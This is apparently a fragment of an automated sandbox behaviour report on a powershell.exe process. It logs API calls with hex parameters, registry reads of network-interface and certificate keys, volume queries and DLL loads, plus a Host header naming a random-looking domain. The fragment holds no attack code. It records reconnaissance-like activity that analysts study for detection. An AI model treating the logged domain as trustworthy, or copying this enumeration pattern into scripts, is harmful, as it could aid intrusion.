QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz"2d:T38f4,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac7a10f87f0000000000000000000051ed3a12f87f000000000000480100000000000000000000aa7f7d51e4ef00002a000000000000002027b8de480100008fec3a12f87f0000e0ac7a10f87f0000e0ac7a10f87f0000000000000000000000000000f87f0000ffffff7f68df000000000000000000000000000000000000d8ce6e10f87f00002a0000000000000069c32710f87f0000310000000000000060020000000000006402000000000000110001100000000010dd1e8f4600000003a38311f87f000010dd1e8f4600000000000000000000002b00000000000000000000000000000020b02d10f87f0000b43f2c10f87f0000e0ce6e10 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000030163a12f87f0000000000000000000000000000000000004089b7de48010000000000000000000000000000000000000000000000000000da557d51e4ef000000000000000000003a0000c000000000862e140ff87f00000300000000000000000000000000000000000000000000000300000000000000010000c000000000001c140ff87f0000010000c0000000000b000000000000000b000000000000005800000000000000000000000000000000000000000000000300120100000000920000000100000060000000000000000000000000000000800000000000000000000000000000006000000001000000000000000000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d000000000000f0d41e8f46000000040000000000000010979b4f0201000006000000000000000300000000000000a740140ff87f000010d61e8f4600000000d61e8f4600000000000000000000000101000000000000a06ebade480100000a000000000000009cdd1e8f46000000b9ee130ff87f000043003a005c005500730065007200730000004c0044004100500049002e0064000102090a000000000000000000000000872300a4460000004b00000000000000000000000000000000d61e8f46000000a830020ff87f00000000000000000000000000000000000004983812f87f00003071bade48010000996a3812f87f00000000b5de (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000009efd00000000000002000000000000000000000000000000c012b0de4801000000000000f87f00000000b0de4801000000002e8f460000002400000000000000f8cb1e8f4600000040e5b5de48010000f2e7aa01f87f000028002a0094370000c00cb0de480100000f00000000000000400000000000000090cd1e8f4600000000000000000000000000000000000000000000000000000000000000000000000400000000000000400000000000000032000000000000000000b5de4801000032893812f87f000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000032893812f87f000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000008067b8de48010000d0e01e8f46000000f41abade480100004071bade48010000000000000000000000000000000000000000000000000000000000000000000000000000000000006004bade480100007404bade480100006004bade48010000feffffffffffffff000000000000000082a9b7de4801000000000000000000000000000000000000000000000000000060ce1e8f46000000320000000000000090cd1e8f46000000b0cd1e8f460000000000004b (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000fa0c00000000000030b81e8f46000000f8250980b17f000070b0994f020100001affff7f000000002000000000000000a740140ff87f00004e0200000000000000000000460000004e02000000000000e300000000000000806ab8de480100002b0000000000000000000000987880574f8c6244bb63710443003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f006600740000000000a0dd270ff87f000088b91e8f4600000004983812f87f000088b91e8f4600000000000000000000008ede5290 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000009efd00000000000002000000000000000000000000000000001bb0de4801000000000000f87f00000000b0de4801000000002e8f46000000240000000000000038af1e8f4600000040e5b5de48010000f2e7aa01f87f00006c006e0094370000c00cb0de4801000009000000000000008000000000000000d0b01e8f4600000000000000000000000000000000000000000000000000000000000000000000000800000000000000800000000000000076000000000000000000b5de4801000032893812f87f000040000000000000000000000000000000760000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000032893812f87f000040000000000000000000000000000000760000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000008067b8de4801000010c41e8f46000000f80dbbde48010000d018bbde4801000000000000000000000000000000000000000000000000000000000000000000000000000000000000d011bbde48010000e811bbde48010000d011bbde48010000feffffffffffffff0000000000000000c6a9b7de48010000000000000000000000000000000000000000000000000000a0b11e8f460000007600000000000000d0b01e8f46000000f0b01e8f4600000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000d60c000000000000d0a91e8f4600000034340980b17f000060ac9b4f020100002cffff7f000000003200000000000000a740140ff87f0000a022bbde48010000002c3912f87f00000000b5de48010000d100000000000000d015bade480100003e00000000000000610032003400300004000000f87f000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e00750000004801000004000105 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000009efd00000000000002000000000000000000000000000000c01bb0de4801000000000000f87f00000000b0de4801000000002e8f460000002400000000000000d8a01e8f4600000040e5b5de48010000f2e7aa01f87f00009200940094370000c00cb0de480100000c00000000000000b00000000000000070a21e8f4600000000000000000000000000000000000000000000000000000000000000000000000b00000000000000b0000000000000009c000000000000000000b5de4801000032893812f87f0000400000000000000000000000000000009c0000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c00c000000000000a0a21e8f460000004e3b0980b17f0000f0679b4f0201000037ffff7f000000003d00000000000000a740140ff87f000070a21e8f4600000090a21e8f460000000000004e02000000c600000000000000b049b9de4801000047000000000000000200000000000000340037003100370043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000403ebbde48010000001000000000000033c13812f87f000000e00300000000000000b5de480100000040bbde480100004a3ebbde480100002400000000000000a8991e8f4600000000e5b5de4801000000000000000000000000a6009437000001000000480100000000000000000000503ebbde4801000010000000000000007f030000000000000000000000000000403ebbde48010000403ebbde48010000ff030000000000000101000000000000f81b000000000000173e000000000000173e000000000000ff030000000000000000000000000000ae0000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ae0c000000000000709b1e8f460000006c420980b17f000040579c4f0201000040ffff7f000000004600000000000000a740140ff87f0000409b1e8f46000000183f082f46000000003ebbde02000000bd0000000000000020d5b8de480100005a000000000000000200000000000000340037003100370043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000202020720000000000000951e8f46000000ffffffffffffffff01000000460000002c951e8f46000000000000003307020233072e0000000000f500000000000000000000004600000045dab55b338e000005000005f87f0000ca00cc0094370000ffffffff000000000004000000000000983c3712f87f000000941e8f4600000000951e8f46000000ffffffff00000000000000000000000000941e8f46000000e674130ff87f00007f0000000000000000040000000000000000b5de480100000b8e3812f87f000000951e8f46000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffff4600000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000b8e3812f87f000000951e8f46000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffff46000000000000000000000000000000000000008067b8de4801000050a71e8f460000004856bade48010000d033bbde4801000000000000000000000000000000000000000000000000000000000000000000000000000000000000b053bade48010000c853bade48010000b053bade48010000feffffffffffffff000000000000000024aab7de480100000000000000000000000000000000000000000000000000000000000000000000d400000000000000570069006e0064006f0077007300200050006f00 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ff5fbade480100003b00000000000000ff5fbade48010000f077b5de4801000076000000000000000200000200000000010000004d006900630072006f0073006f006600740000005039086148010000d749a20ef87f00000000000000000000f0fcbade48010000370200350000000070b21e8f460000005802005a480100005802000000000000020000020000000013ccd2ca1ba0000000000000000000000000000000000000000000000000000000359e0ef87f0000c018bbde48010000d6673812f87f00003b00003b480100006287150ff87f00005802005a0000000076000000000000000000000000000000ffffffff4801000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a3812f87f00000000b5de48010000000000000000000000000000000000000000b5de4801000033dad2ca1ba00000d6673812f87f0000efbe000000000000f817bade48010000b000bade48010000f817bade480100000000000000000000e86cbbde4801000038b11e8f46000000b49d9d0ef87f0000505cb8de48010000d6673812f87f0000ffffffff000000004049bbde480100000000000000000000000000000000000001000000000000000000000000000000b06bbbde480100009c969e0ef87f000060e7bade480100000c00000000000000080000000000000031d48b11f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a3812f87f00000000b5de48010000000000000000000000000000000000000000b5de4801000033dad2ca1ba00000d6673812f87f0000efbe000000000000b803bade48010000b000bade48010000b803bade4801000000000000000000000877bbde4801000038b11e8f46000000b49d9d0ef87f0000505cb8de48010000d6673812f87f0000ffffffff000000008045bbde480100000000000000000000000000000000000001000000000000000000000000000000d075bbde480100009c969e0ef87f000060e7bade480100000c00000000000000080000000000000031d48b11f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a3812f87f00000000b5de48010000000000000000000000000000000000000000b5de4801000033dad2ca1ba00000d6673812f87f0000efbe0000000000009802bade48010000b000bade480100009802bade480100000000000000000000a8f8bade4801000038b11e8f46000000b49d9d0ef87f0000d018bbde48010000d6673812f87f0000ffffffff00000000604cbbde48010000000000000000000000000000000000000100000000000000000000000000000070f7bade480100009c969e0ef87f000060e7bade480100000c00000000000000080000000000000031d48b11f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a3812f87f00000000b5de48010000000000000000000000000000000000000000b5de4801000033dad2ca1ba00000d6673812f87f0000efbe000000000000281ebade48010000b000bade48010000281ebade480100000000000000000000a85bbade4801000038b11e8f46000000b49d9d0ef87f0000d018bbde48010000d6673812f87f0000ffffffff00000000f03ebbde480100000000000000000000000000000000000001000000000000000000000000000000705abade480100009c969e0ef87f000060e7bade480100000c00000000000000080000000000000031d48b11f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007328)2e:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2f:Tabe,"powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007328-00000C17-546440647 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007328-00000C17-546467640 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007328-00000C17-546471684 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007328-00000C17-548212832 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007328-00000C17-548476387 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007328-00000C17-548741382 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007328-00000C17-550466579 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007328-00000C17-550566713 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007328-00000C17-563391720 "aspnet_compiler.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007596-00000C17-570665626 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb" at 00000000-00001828-00000C17-579530064 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb" at 00000000-00001828-00000C17-579544221 "SearchIndexer.exe" queries volume information of "\\?\Volume{815ead30-0000" at 00000000-00001828-00000C17-580338973 "SearchIndexer.exe" queries volume information of "\\?\Volume{815ead30-0000" at 00000000-00001828-00000C17-580339752 "SearchIndexer.exe" queries volume information of an entire harddrive"C:\" at 00000000-00001828-00000C17-580345185 "SearchIndexer.exe" queries volume information of an entire harddrive"C:\" at 00000000-00001828-00000C17-580345959 "SearchProtocolHost.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004236-00000C17-61290187830:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")31:T3233,"powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007328) "powershell.exe" called "LoadLibrary" with a parameter 